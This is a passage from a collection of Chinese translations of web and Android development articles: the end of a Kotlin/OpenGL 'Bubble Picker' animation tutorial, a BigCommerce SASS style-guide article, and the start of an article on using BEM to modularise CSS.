language=GLSL\n    val fragmentShader = \"\"\"\n        precision mediump float;\n    \n        uniform vec4 u_Background;\n        uniform sampler2D u_Texture;\n    \n        varying vec2 v_UV;\n    \n        void main()\n        {\n            float distance = distance(vec2(0.5, 0.5), v_UV);\n            gl_FragColor = mix(texture2D(u_Texture, v_UV), u_Background, smoothstep(0.49, 0.5, distance));\n        }\n    \"\"\"\n```\n\n着色器是使用 GLSL (OpenGL Shading Language) 编写的，必须在运行时编译。如果你用的是 Java 代码，最方便的方法是将你的着色器写到一个单独的文件中，然后使用输入流取回。如你所见，Kotlin 开发人员通过将任何多行代码放到三重引号（\"\"\"）中，更方便的在类中创建着色器。\n\nGLSL 有几种不同类型的变量：\n\n- 统一变量对所有顶点和片段持有相同的值\n\n- 属性变量对每个顶点都不同\n\n- 变化中变量将数据从顶点着色器传递到片段着色器，对于每个片段都是用线性内插法赋值\n\nu_Move 变量包含了 x 和 y 两个值，用于表示顶点当前位置的移动增量。很明显，他们的值应该与一个形状中的所有顶点的该变量的值相同，类型也应该是相同的，虽然这些顶点各自的位置不同。a_Position 变量是属性变量，a_UV 变量用于以下两个目的：\n\n1. 得到当前片段与正方形中心的距离；根据这个距离，我们能够改变片段的颜色来画圆。\n\n2. 将纹理（照片和国家名称）放在图形的中心。\n\n![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2331/content_4.jpg)\n\na_UV 变量包含了 x 和 y 两个变量，这两个值对每个顶点都不同但都在 0 和 1 之间。在顶点着色器中，我们将值从 a_UV 变量传递给 v_UV 变量，这样每个片段都会被插入 v_UV 变量。结果，形状中心片段的 v_UV 变量的值就是 [0.5, 0.5]。我们使用 distance() 方法来计算一个选中的片段到中心的距离。这个方法使用两点作为参数。\n\n### **3. 使用 smoothstep 方法画抗锯齿圆** ###\n\n起初，我的片段着色器看起来有些不一样：\n\n```\n    gl_FragColor = distance < 0.5 ? texture2D(u_Text, v_UV) : u_BgColor;\n```    \n\n我根据到中心的距离改变了片段颜色，没有使用抗锯齿。结果并不理想，圆的边缘被切开了。\n\n![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2332/content_6.jpg)\n\nsmoothstep 方法可以解决这个问题。在纹理和背景间平滑插入由起点和终点决定的值，取值范围在 0 到 1 之间。。纹理的透明度在 0 到 0.49 之间值设为1，0.5 以上的为0，并且0.49 到 0.5 之间会被插入，所以圆的边缘会被抗锯齿。\n\n![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2333/content_7.jpg)\n\n### **4. 使用纹理在 OpenGL 中显示图片和文本** ###\n\n动画中的每个圆都有两个状态 - 正常状态和选中状态。在正常状态中，圆中的纹理包含了文字和颜色；在选中的状态，纹理则还会包含了一个图片。所以，对每个圆我们都应该创建两个不同的纹理。\n\n为了创建纹理，我们使用一个 Bitmap 的实例，在实例里我们画出所有的元素并绑定纹理：\n\n```\n    fun bindTextures(textureIds: IntArray, index: Int){\n            texture = bindTexture(textureIds, index * 2, false)\n            imageTexture = bindTexture(textureIds, index * 2 + 1, true)\n        }\n    \n        private fun bindTexture(textureIds: IntArray, index: Int, withImage: Boolean): Int {\n            glGenTextures(1, textureIds, index)\n            createBitmap(withImage).toTexture(textureIds[index])\n            return textureIds[index]\n        }\n    \n        private fun createBitmap(withImage: Boolean): Bitmap {\n            var bitmap = Bitmap.createBitmap(bitmapSize.toInt(), bitmapSize.toInt(), Bitmap.Config.ARGB_4444)\n            val bitmapConfig: Bitmap.Config = bitmap.config ?: Bitmap.Config.ARGB_8888\n            bitmap = bitmap.copy(bitmapConfig, true)\n    \n            val canvas = Canvas(bitmap)\n    \n            if (withImage) drawImage(canvas)\n            drawBackground(canvas, withImage)\n            drawText(canvas)\n    \n            return bitmap\n        }\n    \n        private fun drawBackground(canvas: Canvas, withImage: Boolean){\n            ...\n        }\n    \n        private fun drawText(canvas: Canvas){\n            ...\n        }\n    \n        private fun drawImage(canvas: Canvas){\n            ...\n        }\n    \n```\n\n做完这些之后，我们将这个纹理传递给 u_Text 变量。我们通过 texture2D() 方法来获取一个片段的真实颜色，我们还能获得纹理单元和片段相对于其顶点的位置。\n\n### **5. 使用 JBox2D 让气泡移动** ###\n\n从物理的角度，这个动画非常简单。主对象是一个 World 实例，所有的 body 都需要在这个 World 里创建：\n\n```\n    classCircleBody(world: World, varposition: Vec2, varradius: Float, varincreasedRadius: Float) {\n    \n        val decreasedRadius: Float = radius\n        val increasedDensity = 0.035f\n        val decreasedDensity = 0.045f\n        var isIncreasing = false\n        var isDecreasing = false\n        var physicalBody: Body\n        var increased = falseprivate val shape: CircleShape\n            get()= CircleShape().apply {\n                m_radius = radius + 0.01f\n                m_p.set(Vec2(0f, 0f))\n            }\n    \n        private val fixture: FixtureDef\n            get()= FixtureDef().apply {\n                this.shape = this@CircleBody.shape\n                density = if (radius > decreasedRadius) decreasedDensity else increasedDensity\n            }\n    \n        private val bodyDef: BodyDef\n            get()= BodyDef().apply {\n                type = BodyType.DYNAMIC\n                this.position = this@CircleBody.position\n            }\n    \n        init {\n            physicalBody = world.createBody(bodyDef)\n            physicalBody.createFixture(fixture)\n        }\n    \n    }\n```    \n\n正如我们所见，body 容易创建：我们需要简单的制定 body 类型（如：dynamic, static, kinematic），position，radius，shape，density 和 fixture 属性。\n\n当这个面被画出来，我们需要调用 World 的 step() 方法来移动所有的 body。然后，我们就可以在新的位置画出所有的形状了。\n\n我们遇到一个问题，JBox2D 不能支持轨道重力。这样，我们就不能将圆移动到屏幕中间了。所以我们只能自己实现这个特性：\n\n```\n    private val currentGravity: Float\n            get()= if (touch) increasedGravity else gravity\n    \n    private fun move(body: CircleBody){\n            body.physicalBody.apply {\n                val direction = gravityCenter.sub(position)\n                val distance = direction.length()\n                val gravity = if (body.increased) 1.3f * currentGravity else currentGravity\n                if(distance > step * 200){\n                    applyForce(direction.mul(gravity / distance.sqr()), position)\n                }\n            }\n    }\n```    \n\n![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2334/content_8.jpg)\n\n每当 World 移动时，我们计算一个合适的力度作用于每个 body，使得看起来像是受到了重力的影响。\n\n### **6. 在 GlSurfaceView 中检测用户触摸事件** ###\n\nGLSurfaceView 和其他的 Android view 一样可以对用户触碰反应：\n\n```\n    override fun onTouchEvent(event: MotionEvent): Boolean {\n            when (event.action) {\n                MotionEvent.ACTION_DOWN -> {\n                    startX = event.x\n                    startY = event.y\n                    previousX = event.x\n                    previousY = event.y\n                }\n                MotionEvent.ACTION_UP -> {\n                    if (isClick(event)) renderer.resize(event.x, event.y)\n                    renderer.release()\n                }\n                MotionEvent.ACTION_MOVE -> {\n                    if (isSwipe(event)) {\n                        renderer.swipe(event.x, event.y)\n                        previousX = event.x\n                        previousY = event.y\n                    } else {\n                        release()\n                    }\n                }\n                else -> release()\n            }\n    \n            returntrue\n    }\n    \n    private fun release()= postDelayed({ renderer.release() }, 1000)\n    \n    private fun isClick(event: MotionEvent)= Math.abs(event.x - startX) < 20 && Math.abs(event.y - startY) < 20private fun isSwipe(event: MotionEvent)= Math.abs(event.x - previousX) > 20 && Math.abs(event.y - previousY) > 20\n```\n\nGLSurfaceView 拦截所有的触摸事件，渲染器处理它们：\n\n```\n    //Rendererfun swipe(x: Float, y: Float)= Engine.swipe(x.convert(glView.width, scaleX),\n                y.convert(glView.height, scaleY))\n    \n    fun release()= Engine.release()\n    \n    fun Float.convert(size: Int, scale: Float) = (2f * (this / size.toFloat()) - 1f) / scale\n    \n    //Enginefun swipe(x: Float, y: Float){\n            gravityCenter.set(x * 2, -y * 2)\n            touch = true\n    }\n    \n    fun release(){\n            gravityCenter.setZero()\n            touch = false\n    }\n```    \n\n当用户滑动屏幕，我们增加重力并改变中心，在用户看来就像是控制了气泡的移动。当用户停止了滑动，我们将气泡恢复到初始状态。\n\n### **7. 通过用户触碰的坐标找到气泡** ###\n\n当用户点击了一个圆，我们通过 onTouchEvent() 方法接收到了触碰点在屏幕上的坐标。但是，我们还需要找到被点击的圆在 OpenGL 坐标体系中的位置。默认情况下，GLSerfaceView 中心的坐标是 [0, 0]，x 和 y 变量在 -1 到 1 之间。所以，我们还需要考虑到屏幕的比例：\n\n```\n    private fun getItem(position: Vec2)= position.let {\n            val x = it.x.convert(glView.width, scaleX)\n            val y = it.y.convert(glView.height, scaleY)\n            circles.find { Math.sqrt(((x - it.x).sqr() + (y - it.y).sqr()).toDouble()) <= it.radius }\n    }\n```   \n\n当我们找到了选中的圆就改变它的半径、密度和纹理。\n\n这是我们第一版 Bubble Picker，而且还将进一步完善。其他开发者可以自定义泡泡的物理行为，并指定 url 将图片添加到动画中。而且我们还将添加一些新的特性，比如移除泡泡。\n\n请将你们的实验发给我们，让我们看到你是如何使用 Bubble Picker 的。如果对动画有任何问题或建议，请告诉我们。\n\n我们会尽快发布更多干货。 敬请关注！\n\n戳这里进一步查看 [BubblePicker animation on GitHub](https://github.com/igalata/Bubble-Picker) 和 [BubblePicker on Dribbble](https://dribbble.com/shots/3349372-Bubble-Picker-Open-Source-Component)。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/how-we-css-at-bigcommerce.md",
    "content": "* 原文链接 : [How we \"CSS\" at BigCommerce](http://www.bigeng.io/how-we-css-at-bigcommerce/)\n* 原文作者 : [Simon Taggart](http://www.bigeng.io/author/simon-taggart/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [shenxn](https://github.com/shenxn)\n* 校对者: [CoderBOBO](https://github.com/CoderBOBO)，[aleen42](https://github.com/aleen42)，[Evaxtt](https://github.com/Evaxtt)\n* 状态 : 翻译完成\n\n# 在 BigCommerce 我们如何编写 CSS\n\n[我们的《SASS风格指南 - SASS Style Guide》现在已经可以在GitHub上找到](https://github.com/bigcommerce/sass-style-guide)\n\nCSS 很难，而写出好的 CSS 代码更难。在一个大团队中，基于巨大的代码库写出好的 CSS 代码，更是难上加难。\n\n我们并不是一家独一无二的软件公司：120个工程师，4间办公室，3个不同国家，3个时区，以及7年时间，代表着一个大家都很熟悉的代码库环境。每个人都有着一份干劲。这里有着30种不同风格的按钮，4种“品牌色彩”的变形，以及一个列举了互联网上所有 JavaScript 包的 package.json / bower.json 文件。CSS 与其他语言相比，看起来就像是一个被忽视的可的孩子，只得到了最少的关怀。CSS 没有固定的规范，没有约定，也没有內建工具来防止你写出只有自己看得懂的代码。CSS 就是一个雷区，我们困在其中，也有许多人会继续一头扎进来。\n\n在 BigCommerce，我们认为至少可以通过设置一些基本规范，并且让每一个编写 CSS 的人遵循它们，来解决一些在编写大量 CSS 代码时经常会遇到的问题。我们的《SAAS 风格指南》并没有什么突破性的内容，并且其中的观点很像 AirBnB 的 [《JavaScript 风格指南 - JavaScript Style Guide》](https://github.com/airbnb/javascript)。我不会把那篇文章原封不动地复制到我的博客里，你可以[在 GitHub 上找到](https://github.com/bigcommerce/sass-style-guide)。同时我认为，详细解释一些具体规则并且列出我们使用的工具会更加有帮助。\n\n\n## 目标\n\n首先，我们想要完成的并不是尝试去变得更加聪颖，前沿或高度地优化。我们遵循一个公开的策略：合理性高于优化，清晰高于精巧。我们的目标是让我们的代码库更容易在一个大型团队中交流与共享。你会注意到在整篇文档中出现了许多类似“可读且可理解的”、“简单的”、“在包含必要内容的前提下尽量精简”、以及“你能做不意味着你应该做”等语句，使我们在编写 CSS 方式上达成共识。\n\n## 原则\n\n我们对 CSS 的贡献基于一些关于 CSS 和组件的指导性原则。我会提到一些对于我们来说非常重要的点，不管它们是关键点或是不那么显而易见的点：\n\n> 不要过早地优化你的代码；先保证代码容易阅读且容易理解。\n\n我们的 CSS 代码基于 SAAS，准确来说是 SCSS 语法。SASS 是很强大的，同时也是很糟糕的。使用任何强大的工具，都会带来一个风险：软件工程师总是会做一件他们_非常_擅长的事：过度开发。\n\n“你能做不意味着你应该做”这样的措辞在 SASS 中的应用会非常的多。我见到过一些非常复杂的 SASS 函数生成一串巧妙的 CSS 代码。而其中的危险在于：很多人根本不关注函数的输出。其实，这些输出是非常重要的，特别是代码的权重和特殊性（specificity）。同时，使用巧妙的语法或者选择器嵌套（类似[《父选择器前缀 - Parent Selector Suffix》](http://thesassway.com/news/sass-3-3-released#parent-selector-suffixes)）会使代码变得简洁，但这会使代码在代码库中非常难以被搜索出来。\n\n    /* 尽量避免 */\n    .component {\n        &-parentSelectorSuffix { ... } /* .component-parentSelectorSuffix {} */\n\n        .component-childSelector { ... } /* .component .component-childSelector {} */\n\n        .notSoObviousParentSelector & { ... } /* .notSoObviousParentSelector .component {} */\n    }\n\n不要过度使用一些“巧妙”的技巧。这甚至会使得我难以理解你的代码并作出修改。如果你让代码更简单一些，并让预处理器去做那些巧妙的事情，那么我一定会感谢你的。\n\n> 分解复杂的组件，并使得它们由简单的组件构成\n\n不可否认，这是在 HTML 和 CSS 样式中撰写时最为重要的事情。BEM，SUITCSS，SMACSS等命名规范都是保持你代码模块化非常方便的工具，但是过分遵从这些“规范”会在处理一些深层嵌套的子元素时产生一些非常长非常复杂的类名。\n\n尽早抽象出通用的子样式以防止产生像这样的可怕的选择器：\n\n    .componentName__childName__otherChildName__thisIsSillyNow__nopeYouTotallyMissedThePointOfThis--modifier {\n        …\n    }\n\n> 使用混合（mixin）构建你的组件以便输出可定义的CSS\n\n这是一个很有趣的点。我们作为一个团队，以一种特定的方式编写样式、公共标记和 CSS 规则以在 UI 中显示一种特定类型的数据。我们的框架不会默认输出 CSS，你必须选择你想要的组件。\n\n同时，我们的框架服务多个不同的领域。由于这其中的数据可能是一样的，样式可能也是相似的，但种种原因使得我们选择的通用样式命名并不适用。也许我们的 “card” 组件在你领域的代码库下叫做 \"product\" 更加合适。所以我们构建的所有组件都是混合型组件，并包装在一个通用的类名内。\n\n    /* 以 media 对象作为例子 */\n    .media {\n        @include media;\n    }\n\n    .mediaTable {\n        @include media(\"table\");\n    }\n\n因为你可以自定义生成的 CSS 代码，你就可以自由地重命名你选择的组件和引用 mixin。同时你依然遵循设计样式。\n\n## 一些需要强调的规则\n\n在这里，我将就如何构建一个用于稍大项目的优秀代码库强调几个关键规则。\n\n#### 特殊性（Specificity） [<small>(链接)</small>](https://github.com/bigcommerce/sass-style-guide#specificity)\n\n尽量使用具有低特殊性的选择器。这会帮助你把组件抽象成小块，并更容易重用和重混合样式。同时，这能防止你的代码在将来产生很多特殊性冲突（Specificity Clash）。\n\n    /* 避免使用ID */\n    #component { … }\n\n    /* 避免使用子标签 */\n    .component h2 { … }\n\n    /* 避免使用有条件的标签选择器 */\n    div.component { … }\n\n    /* 避免使用过于具体的选择器 */\n    ul.component li span a:hover { … }  \n\n#### 声明属性 [<small>(链接)</small>](https://github.com/bigcommerce/sass-style-guide#when-declaring-values)\n\n在构建一个大的样式代码库时，试图只定义那些你明确关注的属性，以防止过度重置你想要继承的属性。\n\n*   使用 `background-color: #333;` 而不是 `background: #333`\n*   使用 `margin-top: 10px;` 而不是 `margin: 10px 0 0;`\n\n举例来说，在使用 background 简略写法时，你将会重设`background-position`, `background-image`, `background-size`等你不想重设的属性。\n\n#### 声明顺序 [<small>(链接)</small>](https://github.com/bigcommerce/sass-style-guide#declaration-order)\n\n首先使用 `@extend`，然后使用 `@include`，最后设置你的属性。理论上来说，extend 和 include 不需要覆盖你的属性。同时，根据我的习惯，我总是按照**字母顺序**排列属性。\n\n不同的人喜欢不同的方式来组合他们的 CSS 属性，每当有新人加入时，不要强迫他们学习你的观点或者是逻辑。事实上，属性的顺序并不重要，为了能够达成共识，并做到可预测和可广泛使用，我们会使用字母顺序，因为绝大多数人都知道字母表，并且按字母顺序排序可以让你更快找到重复定义。\n\n    .component {\n        @extend %a-placeholder;\n        @include silly-links;\n        color: #aaa;\n        left: 0;\n        line-height: 1.25;\n        min-height: 400px;\n        padding: 0 20px;\n        top: 0;\n        width: 150px;\n    }\n\n#### 嵌套（Nesting） [<small>(链接)</small>](https://github.com/bigcommerce/sass-style-guide#nesting)\n\n不要使用，或者至少是尽量少用。\n\n你编译好的代码很容易被遗忘。当你在 SASS 中使用嵌套来构造选择器时，你会很容易破坏[特殊性](https://github.com/bigcommerce/sass-style-guide#specificity)和[性能](https://github.com/bigcommerce/sass-style-guide#performance)指导原则。你能做不意味着你应该做。我们最多只使用1层嵌套。\n\n    .panel-body {\n        position: relative;\n    }\n\n    .panel-sideBar {\n        z-index: 10;\n    }\n\n    .panel-sideBar-item {\n        cursor: pointer;\n    }\n\n    .panel-sideBar-item-label {\n        color: #AEAEAE;\n\n        &.has-smallFont {\n            font-size: 13px;\n        }\n    }\n\n#### 变量名 [<small>(链接)</small>](https://github.com/bigcommerce/sass-style-guide#variables)\n\n抽象你的变量名称。不要使用你设置的颜色等来命名你的变量。使用颜色命名的变量不再是一个变量了，并且当你想把变量 `$background-color-blue` 的值改成 red 的时候，使用这样的变量与查找和替换一个十六进制颜色码就没有区别了。\n\n*   使用 `$color-brandPrimary` 而不是 `$bigcommerceBlue`\n\n#### 映射（Map）以及映射函数（Map Function） [<small>(链接)</small>](https://github.com/bigcommerce/sass-style-guide#component--micro-app-level-variables)\n\n正如 Erskine Design 的[《SASS映射中更友好的颜色名称 - Friendlier colour names with SASS maps》](http://erskinedesign.com/blog/friendlier-colour-names-sass-maps/)所描述的，我们使用 SASS 映射来完成大量全局样式属性，不仅仅是颜色这种我们开发者经常需要用到的属性。\n\nSASS 为映射提供了一个简单且可预测的 API，并且可以用于大量属性类似 z-index，font-weight 和 line-height。我们会在将来的一篇博客中更详细讲述这个主题。\n\n    color: color(\"grey\", \"darker\");  \n    font-size: fontSize(\"largest\");  \n    line-height: lineHeight(\"smaller\");  \n    z-index: zIndex(\"highest\");  \n\n#### 组件命名规则 [<small>(链接)</small>](https://github.com/bigcommerce/sass-style-guide#components)\n\n我们深受 [SuitCSS](http://suitcss.github.io/) 的启发，并且将其规则稍稍改动以符合我们的口味和需求。比如说，我们使用驼峰命名法（Camel Case）替代 Pascal 命名法（Pascal Case）。\n\n正如我之前提到的，正确命名你的继承是非常重要的，因此我们使用了一些相当实用的方法。一个元素是你组件根的继承的继承，不意味着它在 DOM 中_必须_处在那个层级，它可以在与第一个继承相邻的位置完成相同的功能。\n\n    <article>  \n      <header>\n        <img src=\"{$src}\" alt=\"{$alt}\">\n        ...\n      </header>\n      <div>\n        ...\n      </div>\n    </article>  \n\n当我们处理一些复数的东西时，也许单数形式的继承名字会更合适，并且最好不要附加父元素的名字。\n\n    <ul>  \n      <li>\n        <a href=\"#\"></a>\n      </li>\n    </ul>  \n\n所以，我们最好尽可能去精简类名以防止其过于冗长，但我们依然需要保证包含了必要的内容。\n\n#### 工具和执行\n\n正如我之前提到的，我们新的 CSS 代码库是基于 SASS 的，并且像其他的流行库一样使用 [libSass](http://sass-lang.com/libsass) 来编译我们的样式表。然而还存在一些项目使用 Ruby 来编译 Sass，以致其性能的下降是非常明显。\n\n我也提到了让你的编译器来做一些巧妙的事情。其中一个例子就是浏览器引擎前缀（Vendor Prefixes）。我们在 SASS 处理完成后使用 Autoprefixer 来自动添加浏览器引擎前缀，而不是使用不同浏览器专用的实现来扰乱我们的代码，或是让 SASS 做一些额外的 Grunt 任务。\n\n#### 优化\n\n关于输出优化，我们在每次部署核心CSS库的时候使用 [CSSO](http://css.github.io/csso/)来优化我们的代码。CSSO 会做一些常见的操作如通过删除空白符来压缩文件等，但是 CSSO 也会对我们的代码进行一些结构优化：从不同的组件中将相似的选择器分组，尽量缩减语法，并除去由于我们使用更多“共识”和“清晰高于精巧”原则所带来的影响。我知道这听起来有些风险，但是到目前为止我们都没有发现任何问题并且 CSSO 一直都运作良好。\n\n我知道你们中的一些人会在阅读指南的时候惊讶于我们一些规则引入的“重复代码”。然而 CSSO 帮助我们处理这些问题，并且我们依赖Gzip来移除可能剩下的重复代码片段。这使得我们的代码库可读，清晰并且容易理解。让工具来帮你做事。\n\n#### 审查\n\n最后，你如何检查你的团队成员是否遵从这些规则呢？一个好的 Pull Request 规则在大多数时候是有效的，但是对于一个大团队来说这并不只是一个小团队规则的放大版本。\n\n当我们编写代码和在核心库上创建 Pull Request 时，我们使用 [scss-lint](https://github.com/brigade/scss-lint) 来分析我们的代码。如果代码不符合风格指南，你的代码不会在你的机器上构建，Travis 会失败，你的 Pull Request 也会被标记为失败。我们使用[YAML文件描述我们的规则 set](https://github.com/bigcommerce/sass-style-guide/blob/master/.scss-lint.yml)，这帮助我们非常接近风格指南，所以任何人都可以遵守。这个配置也被储存在我们开始所有新前端项目的公共 Grunt 任务上，所以你的 CSS 代码总是能被审查。\n\n## 到底发生了什么\n\n尽管我们已经尽力了，要把这些观点应用在一个大型的团队中依然非常困难。工具能够对你有所帮助，但是你依然可能编写出那些只是功能上满足但是并不好的 CSS 代码。\n\n与工具和指南相比，我们发现教育和训练是更好用的。我尤其发现很多时候你真的需要在为时已晚之前从你在 CSS 上犯的错误中学习。编写只是功能上满足的 CSS 代码是很容易的，要花一些时间去学习这样的代码在整个生态系统中扮演着怎样的角色，并尝试预测这会带来什么副作用。\n\n从好的方面来说，把我们的审查规则作为我们插件包的一部分确实能使风格指南易于被采用，并且人们都认为这非常实用。我们在基于映射的属性（像 fonts，sizes，spacing，line，heights 和 z-index）中使用的规则对于我们的 JavaScript 工程师也帮助非常大，因为这些都是可预测而且便于记忆的。\n\n在大团队中基于大代码库编写 CSS 是非常困难的，但是你可以通过使用一些指南，工具和训练来帮助你的团队成员保持一致。总体来说，我觉得我们到目前为止都做得很好。\n\n我知道你们一些人可能会说“可是X把这个处理得更好”。我希望能介绍一些出色的人在这个问题上是怎么做的，参考[《JavaScript 中 的CSS - CSS in JavaScript》](https://github.com/MicheleBertoli/css-in-js)，[《内联 CSS - Inline CSS》](https://speakerdeck.com/vjeux/react-css-in-js)以及[《CSS 模块 - CSS Modules》](http://glenmaddern.com/articles/css-modules)。我不会通过贬损这些处理方法，来保护那种编写CSS的老式方法，然而的确有一些原因使得我们没有按照那些方法去做。有一些问题是我们无法解决的；有一些问题我们真的很喜欢使用CSS来解决，比如使用媒体查询（Media Query）。大多数上面的观点和方法都是 从React 这个我们不使用的生态环境中来的。大多数也是来自于一些更幸运的环境比如大多数前端都已经是 JavaScript，但我们的并不是。只是因为你们的代码库比我们的更新，更小，或者你们有更多钱和更多工程师，但这并不意味着我们是错的或者你们是错的。\n\n#### 总结\n\n这就是我们的全部内容了。着眼于我们、以及很多不是 Facebook 团队或不是生活在理想世界中的团队所生存的环境和生态系统。\n\n我希望这能够帮助你，因为使用一个有理有据的、实用的、并且通俗易懂的代码风格指南，以及一些预处理工具和代码审查，我们将能够在一个巨大的 CSS 代码库中找到乐趣。\n\n很明显，文章中的很多内容都没有被着重阐明。我们将会发表一些其他关于“我们如何编写 CSS”以及我们如何让事情“不那么糟糕”的文章。我们将会解答：\n\n*   我们的 CSS 框架——Citadel，以及它如何帮助我们减少代码和在不同领域的团队间共享代码。\n*   构建自适应浏览器宽度的组件时使用的响应式和可伸缩设计样式。\n*   创建一个简单的开发接口来处理公共属性。\n*   为你的组织创建一个即时的 Pattern-Lab。\n*   处理一个企业范围的设计样式库的技巧\n\n"
  },
  {
    "path": "TODO/how-we-use-bem-to-modularise-our-css.md",
    "content": ">* 原文链接 : [How we use BEM to modularise our CSS](https://m.alphasights.com/how-we-use-bem-to-modularise-our-css-82a0c39463b0#.qjqyfixfr)\n* 原文作者 : [Andrei Popa](https://medium.com/@deioo)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [杨龙龙](https://github.com/yllziv)\n* 校对者: [L9m](https://github.com/L9m), [JasinYip](https://github.com/JasinYip)\n\n# 使用 BEM 来模块化你的 CSS 代码 \n\n如果你对 BEM 不熟悉，它是通过一种严格方式来将 CSS 类划分成独立构成要素的一种命名方法。它表示为 _Block Element Modifier_，一个常见的 BEM 看起来就像这样：\n\n    .block {}\n    .block__element {}\n    .block--modifier {}\n    .block__element--modifier {}\n\nBEM 的原则很简单：一个 **Block** 代表一个对象_（一个人、一个登录表单、一个菜单）_；一个 **Element** 是一个块中作为特定功能的组件_（一个帮助按钮、一个登录按钮、一个菜单项）_；一个 **Modifier** 是我们如何表示块或元素的不同变化_（一个女人、一个带有隐藏标签的迷你登录框、 footer 中一个不同的菜单）_。\n\n这里有足够的在线资源来说明 BEM 方法的更多细节（[https://css-tricks.com/bem-101/](https://css-tricks.com/bem-101/)，[http://getbem.com/naming/](http://getbem.com/naming/)）。在这篇文章中，我们将聚焦如何应对在项目中应用 BEM 所遇到的挑战。\n\n![](https://cdn-images-1.medium.com/max/2000/1*SKT3ZS6CRReXfuYORkr53g.jpeg)\n\n在我们决定使用 BEM 方法转换样式之前，我们做了一些调研。环顾四周，我们发现有不少文章、研究、文档以及其他一些内容看起来回答了所有可能的问题。显然我们找到了我们的新死党。\n\n但是一旦你在某一个方向深入一下，你就会产生一些困惑。你越是努力的想让它变好，它就变得越糟——除非你对它视而不见，并且把它当作你的朋友来对待。我们的故事开始于几个月前，那个时候我们遇见了 BEM。我们出去并自我介绍，然后被BEM诱惑到了，我们在的一些玩具项目中使用了 BEM。我们关系很密切，这就产生了一个决定：我们喜欢它，并想进一步发展我们之前的友谊到一个新的高度。\n\n接下来的过程是相当的简单和自然。我们实验了一些_命名规范_和_手动创建样式类_。在决定了_一套准则_后，我们创建的基本的 mixins 来_生成类名_，这样我们在添加一个新的修饰符或者元素的时候，就不需要每次都是用一个块名。\n\n所以我们的旅程就像下面这样开始了：\n\n![](http://ww1.sinaimg.cn/large/005SiNxygw1f3djsb5400j30je06odfx.jpg)\n\n然后我们使用了一系列自定义的 mixins 来转换上面的代码：\n\n![](http://ww3.sinaimg.cn/large/005SiNxygw1f3dju9380fj30je04xq3a.jpg)\n\n慢慢地，当越来越多的边缘 case 涌现出来的时候，我们通过增加 mixins 而不同改变已存在的代码。相当的简洁！\n\n所以如果我们想定义 full-size 修饰符下的 list 元素，我们需要这样做：\n\n![](http://ww3.sinaimg.cn/large/005SiNxygw1f3djvc8f5rj30jd08ewf6.jpg)\n\n### 在程序中如何使用 BEM \n\n我们并没有一下子把所有东西都转换成遵循这些方法，而是平滑地慢慢地把一个一个小块转换过去。\n\n与任意规则类似，我们必须理解双方的关系才能更好的相处。毫无疑问，我们遵循的一个指导原则是 BEM 方法的一部分，其中有一些规则是我们在后来增加的。\n\n**基本原则**是我们**绝不在块中嵌套块、在元素中嵌套元素**。这是我们绝对不能打破的一条原则。\n\n下面这样是一个块中非常深的嵌套：\n\n![](http://ww4.sinaimg.cn/large/005SiNxygw1f3djwmz8w8j30je03xwei.jpg)\n如果需要更多的嵌套，这意味着会更加复杂，这时应该把元素分解到小块中。\n\n另一个规则是转换元素为块。遵循规则1，我们**将任何事情划分为更小的部分**。\n\n让我们来聊聊一个相关组件的结构：\n\n![](http://ww4.sinaimg.cn/large/005SiNxygw1f3djwmz8w8j30je03xwei.jpg)\n\n首先我们创建较高级别的块对应的结构：\n\n![](http://ww3.sinaimg.cn/large/005SiNxygw1f3djzbvfl8j30jj02wjrg.jpg)\n\n然后我们成重复较小的内部结构：\n\n![](http://ww3.sinaimg.cn/large/005SiNxyjw1f3dk19r5m5j30jg03fdg4.jpg)\n\n如果名称变得更加复杂，我们只需要把它提取到另一个较小的块中：\n\n![](http://ww4.sinaimg.cn/large/005SiNxygw1f3dk2w9mdej30jf03cdg4.jpg)\n\n然后增加一些复杂的东西——我们想增加一些鼠标悬浮的效果：\n\n![](http://ww1.sinaimg.cn/large/005SiNxyjw1f3dk3szxamj30jf079t9b.jpg)\n\n所有的这些做完之后，如果我们将代码放到样式表中，它看起来结构会很好：\n\n![](http://ww2.sinaimg.cn/large/005SiNxyjw1f3dk4eqsjaj30jg053js2.jpg)\n\n没有什么能够阻止我们去清除一些不必要的语义。因为我们这部分代码明显是列表的一部分，并且在相关的环境中没有其他项，所以我们把它重命名为 **_correspondence-item_**：\n\n![](http://ww4.sinaimg.cn/large/005SiNxygw1f3dk6qvkodj30jf02wmxf.jpg)\n\n这是另外一条规则：我们使用**简化的命名方式**来命名嵌套组件的 BEM 块，从而使其与其它块不会冲突。\n\n_例如，我们不会对 item-title 简化，因为我们在主要的块或者预览的标题中有一个 correspondence-title。这太常见了。_\n\n\n### Mixins\n\n我们使用的 mixins 是一个内部样式库 Paint 的一部分。\n\n你可以在这里找到它：[  \nhttps://github.com/alphasights/paint/blob/develop/globals/functions/_bem.scss](https://github.com/alphasights/paint/blob/develop/globals/functions/_bem.scss)\n\n_Paint 是一个可用的 bower/NPM 包，并且它正在经历一个核心的重构。BEM mixins 仍然是可用并且定期维护的。_d\n\n#### 为什么我首先需要 mixins ？\n\n我们的目标是使 CSS 类生成系统变得非常简单，因为我们知道前端和后端工程师不需要花费大量的时间来构建样式表。所以我们尽可能的自动化这一过程。\n\n同时我们开发了一系列辅助组件来做与模版类似的事情——提供一个定义块、元素和修饰符的方式，然后就像我们在 CSS 中一样自动生成标签类_。_\n\n#### 如何工作\n\n我们有一个 **__bem-selector-to-string_** 函数来简单的处理选择器，将它转换为字符串。Sass _(rails)_ 和 LibSass _(node)_ 